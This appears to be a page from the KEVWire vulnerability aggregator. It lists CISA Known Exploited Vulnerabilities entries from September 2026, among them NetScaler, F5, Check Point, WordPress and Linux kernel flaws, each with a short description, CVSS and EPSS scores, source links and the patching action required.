Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2026; federal due date Oct 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2026-86950
Apple Multiple Products Out-of-Bounds Write Vulnerability (Sep 29, 2026).
Apple iOS, macOS, and iPadOS contain an out-of-bounds write vulnerability in CoreGraphics that may lead to arbitrary code execution.
CVSS 8.8 (version 3.1; evidence as of Oct 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86950).
EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-86950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-86950
CISA added this entry on 2026-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2026; federal due date Oct 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
https://kevwire.com/record/CVE-2026-88772
Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Oct 2, 2026).
Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772等）に関する注意喚起 (更新)
CVSS 9.5 (version 4.0; evidence as of Sep 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88772).
EPSS 78.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25).
Sources:
JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated): https://www.jpcert.or.jp/at/2026/at260029.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
CISA KEV entry CVE-2026-88772: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25
CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88772
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: vulnerability; regions: Global, Japan; provenance: pipeline.
CISA added Sep 27, 2026; federal due date Sep 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-88771
Citrix NetScaler Improper Input Validation Vulnerability (Oct 2, 2026).
Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772等）に関する注意喚起 (更新)
CVSS 9.5 (version 4.0; evidence as of Sep 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88771).
EPSS 82.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25).
Sources:
JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated): https://www.jpcert.or.jp/at/2026/at260029.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
CISA KEV entry CVE-2026-88771: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25
CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88771
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: vulnerability; regions: Global, Japan; provenance: pipeline.
CISA added Sep 27, 2026; federal due date Sep 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability
https://kevwire.com/record/CVE-2026-67279
Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability (Sep 25, 2026).
Mikrotik RouterOS contains an improper enforcement of behavioral workflow vulnerability that could allow an unauthenticated client to open a session channel and send an exec request. This vulnerability can be chained to achieve unauthenticated exploitation of CVE-2026-86060.
CVSS 6.9 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-67279).
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-67279: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25
CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-67279
CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-65660
Microsoft SharePoint Code Injection Vulnerability (Sep 25, 2026).
Microsoft SharePoint contains a code injection vulnerability which could allow an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65660).
EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-65660: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD CVE-2026-65660: https://nvd.nist.gov/vuln/detail/CVE-2026-65660
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25
CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress Core Remote File Inclusion Vulnerability
https://kevwire.com/record/CVE-2026-87902
WordPress Core Remote File Inclusion Vulnerability (Sep 25, 2026).
WordPress Core contains a remote file inclusion vulnerability which could allow an unauthenticated attacker to make page-template resolution include a chosen readable local `.php` file outside the active theme directories, leading to remote code execution.
CVSS 8.1 (version 3.1; evidence as of Sep 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87902).
EPSS 95.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-87902: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-87902
CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2026; federal due date Sep 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WSO2 Multiple Products Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-5430
WSO2 Multiple Products Path Traversal Vulnerability (Sep 24, 2026).
WSO2 API Control Plane, API Manager, Traffic Manager & Universal Gateway contain a path traversal vulnerability that could allow for unrestricted file upload and lead to remote code execution.
CVSS 10.0 (version 3.1; evidence as of Aug 6, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-5430).
EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-5430: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25
CVE Program CNA WSO2: https://cveawg.mitre.org/api/cve/CVE-2026-5430
CISA added this entry on 2026-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 24, 2026; federal due date Sep 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Commerce and Magento Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2026-71362
Adobe Commerce and Magento Incorrect Authorization Vulnerability (Aug 11, 2026).
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71362).
EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25).
Sources:
NVD CVE-2026-71362: https://nvd.nist.gov/vuln/detail/CVE-2026-71362
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-92.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
CISA KEV entry CVE-2026-71362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 24, 2026; federal due date Sep 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arista VeloCloud Orchestrator Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-93952
Arista VeloCloud Orchestrator Improper Input Validation Vulnerability (Sep 22, 2026).
Arista VeloCloud Orchestrator (VCO) on-prem contains an improper input validation vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.
CVSS 9.5 (version 4.0; evidence as of Sep 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-93952).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-93952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25
CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-93952
CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2026-94127
F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability (Sep 22, 2026).
F5 BIG-IP APM contains a heap-based buffer overflow vulnerability when access policy and an OAuth profile are configured on a virtual server. This vulnerability could allow an unauthenticated attacker to perform remote code execution.
CVSS 9.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-94127).
EPSS 24.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-94127: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25
CVE Program CNA f5: https://cveawg.mitre.org/api/cve/CVE-2026-94127
CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Check Point Multiple Products Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-93616
Check Point Multiple Products Path Traversal Vulnerability (Sep 22, 2026).
Check Point Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent contain a path traversal vulnerability that allows an unauthenticated attacker to upload and execute arbitrary scripts.
CVSS 9.8 (version 3.1; evidence as of Sep 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-93616).
EPSS 91.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-93616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25
CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-93616
CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Check Point Multiple Products Improper Certificate Validation Vulnerability
https://kevwire.com/record/CVE-2026-85102
Check Point Multiple Products Improper Certificate Validation Vulnerability (Sep 22, 2026).
Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.
CVSS 9.8 (version 3.1; evidence as of Sep 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85102).
EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-85102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25
CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-85102
CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 22, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2026-7273
Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability (Sep 21, 2026).
Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.
CVSS 8.8 (version 3.1; evidence as of Jun 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-7273).
EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-7273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25
CVE Program CNA Zyxel: https://cveawg.mitre.org/api/cve/CVE-2026-7273
CISA added this entry on 2026-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 21, 2026; federal due date Sep 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Race Condition Vulnerability
https://kevwire.com/record/CVE-2025-39964
Linux Kernel Race Condition Vulnerability (Sep 18, 2026).
Linux Kernel contains a race condition vulnerability which allows concurrent writes to the same AF_ALG socket causing data to be unpredictably interleaved and creating inconsistencies in the socket's internal state.
CVSS 7.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-39964).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-39964: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25
CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2025-39964
CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2026-53266
Linux Kernel Out-of-Bounds Write Vulnerability (Sep 18, 2026).
Linux Kernel contains an out-of-bounds write vulnerability in the ebtables SNAT target which allows an ARP sender hardware address rewrite to write directly into a nonlinear socket-buffer fragment backed by a splice-imported file page. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
CVSS 8.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-53266).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-53266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25
CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2026-53266
CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability
https://kevwire.com/record/CVE-2025-39682
Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability (Sep 18, 2026).
Linux Kernel contains an improper check for unusual or exceptional conditions vulnerability in the TLS receive path which allows a zero-length record retrieved from the rx_list to bypass the intended recvmsg() record-type handling, potentially causing subsequent TLS records to be processed using incorrect zero-copy and queuing assumptions. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
CVSS 9.8 (version 3.1; evidence as of Aug 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-39682).
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-39682: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25
CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2025-39682
CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2026; federal due date Sep 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Pixel Improper Authorization Vulnerability
https://kevwire.com/record/CVE-2026-58704
Google Pixel Improper Authorization Vulnerability (Sep 16, 2026).
Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges.
CVSS 8.8 (version 3.1; evidence as of Oct 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-58704).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-58704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-58704
CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
